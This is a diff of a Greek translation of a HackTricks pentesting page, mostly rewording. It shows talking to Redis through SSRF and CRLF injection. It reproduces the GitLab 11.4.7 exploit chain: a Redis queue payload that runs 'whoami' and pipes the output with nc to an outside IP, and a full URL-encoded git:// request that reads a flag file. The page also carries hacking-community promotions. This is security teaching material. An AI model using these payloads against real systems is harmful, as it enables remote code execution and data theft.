@ -276,9 +277,9 @@ redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## Επικοινωνία SSRF με το Redis
## SSRF μιλώντας με το Redis
Εάν μπορείτε να στείλετε ένα αίτημα **καθαρού κειμένου** στο **Redis**, μπορείτε να **επικοινωνήσετε μαζί του**, καθώς το Redis θα διαβάσει γραμμή προς γραμμή το αίτημα και θα απαντήσει με σφάλματα για τις γραμμές που δεν κατανοεί:
Εάν μπορείτε να στείλετε αίτημα **κειμένου σε καθαρή μορφή** **στο Redis**, μπορείτε να **επικοινωνήσετε μαζί του** καθώς το Redis θα διαβάσει γραμμή προς γραμμή το αίτημα και θα απαντήσει με σφάλματα μόνο στις γραμμές που δεν καταλαβαίνει:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -288,50 +289,50 @@ set mykey2 helloworld
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Επομένως, αν βρείτε μια ευπάθεια **SSRF** σε έναν ιστότοπο και μπορείτε να **ελέγξετε** ορισμένους **κεφαλίδες** (ίσως με μια ευπάθεια CRLF) ή **παραμέτρους POST**, θα μπορείτε να στείλετε αυθαίρετες εντολές στο Redis.
Επομένως, αν βρείτε μια **ευπάθεια SSRF** σε έναν ιστότοπο και μπορείτε να **ελέγξετε** μερικούς **κεφαλίδες** (ίσως με μια ευπάθεια CRLF) ή **παραμέτρους POST**, θα μπορείτε να στείλετε αυθαίρετες εντολές στο Redis.
### Παράδειγμα: Gitlab SSRF + CRLF σε Shell
Στο **Gitlab11.4.7** ανακαλύφθηκε μια ευπάθεια **SSRF** και μια ευπάθεια **CRLF**. Η ευπάθεια **SSRF** βρισκόταν στη λειτουργία **εισαγωγής έργου από URL** κατά τη δημιουργία ενός νέου έργου και επέτρεπε την πρόσβαση σε αυθαίρετες διευθύνσεις IP στη μορφή \[0:0:0:0:0:ffff:127.0.0.1] (αυτό θα προσπελάσει το 127.0.0.1), και η ευπάθεια **CRLF** εκμεταλλευόταν απλά προσθέτοντας τους χαρακτήρες %0D%0A στο **URL**.
Στο **Gitlab11.4.7** ανακαλύφθηκε μια **ευπάθεια SSRF** και μια **CRLF**. Η **ευπάθεια SSRF** βρισκόταν στη **λειτουργικότητα εισαγωγής έργου από URL** κατά τη δημιουργία ενός νέου έργου και επέτρεπε την πρόσβαση σε αυθαίρετες διευθύνσεις IP στη μορφή \[0:0:0:0:0:ffff:127.0.0.1] (αυτό θα προσπελάσει το 127.0.0.1), και η **ευπάθεια CRLF** εκμεταλλεύτηκε απλά προσθέτοντας χαρακτήρες **%0D%0A** στο **URL**.
Επομένως, ήταν δυνατό να **καταχραστείτε αυτές τις ευπάθειες για να επικοινωνήσετε με την περίπτωση Redis** που **διαχειρίζεται τις ουρές** από το **gitlab** και να καταχραστείτε αυτές τις ουρές για να **εκτελέσετε κώδικα**. Το φορτίο κατάχρησης της ουράς Redis είναι:
Επομένως, ήταν δυνατό να **καταχραστείτε αυτές τις ευπάθειες για να επικοινωνήσετε με την παρουσία Redis** που **διαχειρίζεται τις ουρές** από το **gitlab** και να καταχραστείτε αυτές τις ουρές για να **λάβετε εκτέλεση κώδικα**. Το φορτίο κατάχρησης ουράς Redis είναι:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
Και το αίτημα **URL encode** που καταχράται το SSRF και το CRLF για να εκτελέσει την εντολή `whoami` και να στείλει πίσω την έξοδο μέσω του `nc` είναι:
Και το αίτημα **URL encode** κατάχρησης του SSRF και του CRLF για την εκτέλεση ενός `whoami` και την αποστολή των αποτελεσμάτων μέσω `nc` είναι:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
ια κάποιο λόγο (όπως για τον συγγραφέα του_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _απ' όπου προήλθε αυτή η πληροφορία) η εκμετάλλευση λειτούργησε με το σχήμα `git` και όχι με το σχήμα `http`._
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Συμμετέχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) διακομιστή για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ανταμοιβές ευρημάτων ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις της πλατφόρμας
Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή την ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>